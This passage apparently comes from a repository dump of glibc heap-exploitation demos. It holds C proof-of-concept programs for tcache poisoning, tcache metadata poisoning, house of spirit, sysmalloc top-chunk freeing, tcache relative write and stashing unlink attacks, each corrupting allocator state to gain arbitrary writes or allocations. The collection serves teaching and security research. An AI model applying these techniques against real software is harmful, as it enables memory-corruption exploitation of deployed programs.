(ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.34/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.34/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.34/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.34/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.34/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x930;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.34/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with 